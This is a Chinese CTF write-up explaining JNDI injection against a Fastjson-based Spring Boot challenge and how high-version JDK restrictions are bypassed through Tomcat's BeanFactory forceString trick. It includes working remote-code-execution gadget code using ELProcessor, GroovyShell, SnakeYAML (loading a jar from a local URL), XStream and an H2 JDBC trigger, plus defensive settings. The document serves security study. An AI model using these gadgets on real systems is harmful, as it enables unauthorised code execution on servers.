从羊城杯一道题学习高版本JDK下JNDI的利用
字数 2013 2025-08-06 18:07:40
高版本JDK下JNDI利用技术研究
0x01 背景介绍
在Java安全领域,JNDI注入是一种常见的攻击方式。随着JDK版本的更新,Oracle逐步加强了JNDI的安全限制,使得传统的利用方式在高版本JDK中失效。本文将从一道羊城杯CTF题目出发,详细分析高版本JDK下JNDI的利用技术。
0x02 题目分析
漏洞点分析
题目提供了一个Spring Boot应用,关键控制器代码如下:
@PostMapping({"/post"})
public String postApiTest(HttpServletRequest request) {
ServletInputStream inputStream = null;
String jsonStr = null;
try {
inputStream = request.getInputStream();
StringBuffer stringBuffer = new StringBuffer();
byte[] buf = new byte[1024];
boolean var6 = false;
int len;
while ((len = inputStream.read(buf)) != -1) {
stringBuffer.append(new String(buf, 0, len));
}
inputStream.close();
jsonStr = stringBuffer.toString();
return ((Message)JSON.parseObject(jsonStr, Message.class)).toString();
} catch (IOException var7) {
var7.printStackTrace();
return "Test fail";
}
}
关键点:
- 使用Fastjson 1.2.83解析用户输入的JSON
- 虽然Fastjson版本较新,但存在自定义的
JNDIService类
JNDIService类分析
@JSONType
public class JNDIService {
private String target;
private Context context;
public JNDIService() {}
public void setTarget(String target) {
this.target = target;
}
public Context getContext() throws NamingException {
if (this.context == null) {
this.context = new InitialContext();
}
this.context.lookup(this.target);
return this.context;
}
}
利用链:
- JSON解析时会调用
setTarget设置target "msg":{"$ref":"$.content.context"}会触发getContext方法getContext中执行InitialContext.lookup,触发JNDI注入
0x03 JNDI利用技术演进
低版本JDK利用方式
方式一:RMI Codebase加载
-
流程:
- RMI客户端通过
rmi://host:port/xxx获取Stub - 如果本地没有Stub类定义,会从远程Codebase加载
- 攻击者可控制Codebase指向恶意类
- RMI客户端通过
-
限制:
- JDK 6u45、7u21开始,
java.rmi.server.useCodebaseOnly默认为true - 仅从CLASSPATH和当前VM的
java.rmi.server.codebase加载类
- JDK 6u45、7u21开始,
方式二:JNDI References
-
流程:
- 服务端通过
Referenceable.getReference()保存对象引用 - 客户端请求时返回References
- 客户端从References指定的Factory加载类
- 服务端通过
-
限制:
- JDK 6u132, 7u122, 8u113中:
com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase- 默认值变为false,禁止远程加载Factory类
- JDK 6u132, 7u122, 8u113中:
方式三:LDAP服务
-
特点:
- LDAP也支持返回JNDI Reference对象
- 通过URLClassLoader而非RMI Class loading加载类
- 最初不受
trustURLCodebase限制
-
限制:
- JDK 11.0.1、8u191、7u201、6u211后:
com.sun.jndi.ldap.object.trustURLCodebase默认false
- JDK 11.0.1、8u191、7u201、6u211后:
0x04 高版本JDK利用技术
利用条件
-
使用CLASSPATH中的ObjectFactory类:
- 实现
javax.naming.spi.ObjectFactory接口 - 存在
getObjectInstance方法
- 实现
-
反序列化gadget:
- 通过LDAP的
javaSerializedData属性传递
- 通过LDAP的
关键利用类:BeanFactory
Tomcat中的org.apache.naming.factory.BeanFactory满足要求:
- 通过反射实例化Reference指向的Bean Class
- 调用setter方法为所有属性赋值
- 要求传入的Reference为
ResourceRef类
利用限制
BeanClass要求:
- 有无参构造方法
- setter方法必须为public且参数为一个String类型
forceString参数
关键突破点:
- 可以强制将setter方法调用转换为任意方法调用
- 格式示例:
x1=a,x2=b,x3=c- 表示将
setX1强制转换为调用a方法
- 表示将
0x05 可用攻击类分析
1. javax.el.ELProcessor#eval
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','open /Applications/Calculator.app']).start()\")"));
2. groovy.lang.GroovyShell#evaluate
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
ref.add(new StringRefAddr("x", "println 'Hello World.'"));
3. org.yaml.snakeyaml.Yaml#load
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
String yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8888/exp.jar\"]\n" +
" ]]\n" +
"]";
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml));
需要配合yaml-payload项目生成恶意jar
4. com.thoughtworks.xstream.XStream#fromXML
ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
String xml = "<java.util.PriorityQueue serialization='custom'>...</java.util.PriorityQueue>";
ref.add(new StringRefAddr("forceString", "a=fromXML"));
ref.add(new StringRefAddr("a", xml));
5. 数据库连接池利用
以Tomcat JDBC为例:
private static Reference tomcat_JDBC_RCE() {
Reference ref = new Reference("javax.sql.DataSource", "org.apache.tomcat.jdbc.pool.DataSourceFactory", null);
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS
$$
//javascript\n" +
"java.lang.Runtime.getRuntime().exec('calc')\n" +
"
$$
\n";
ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
ref.add(new StringRefAddr("url", JDBC_URL));
ref.add(new StringRefAddr("username", "root"));
ref.add(new StringRefAddr("password", "password"));
ref.add(new StringRefAddr("initialSize", "1"));
return ref;
}
0x06 防御建议
- 升级JDK到最新版本
- 限制JNDI查找的协议和地址
- 设置系统属性限制远程加载:
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false"); System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase", "false"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false"); - 对反序列化操作进行严格校验
0x07 总结
高版本JDK下JNDI利用的核心思路:
- 利用CLASSPATH中已有的ObjectFactory类
- 通过BeanFactory的forceString特性转换方法调用
- 寻找合适的类和方法链完成RCE
随着JDK版本的更新,JNDI注入的利用条件越来越苛刻,但通过深入研究仍能找到可利用的攻击面。防御方需要全面了解攻击技术,才能构建有效的防护体系。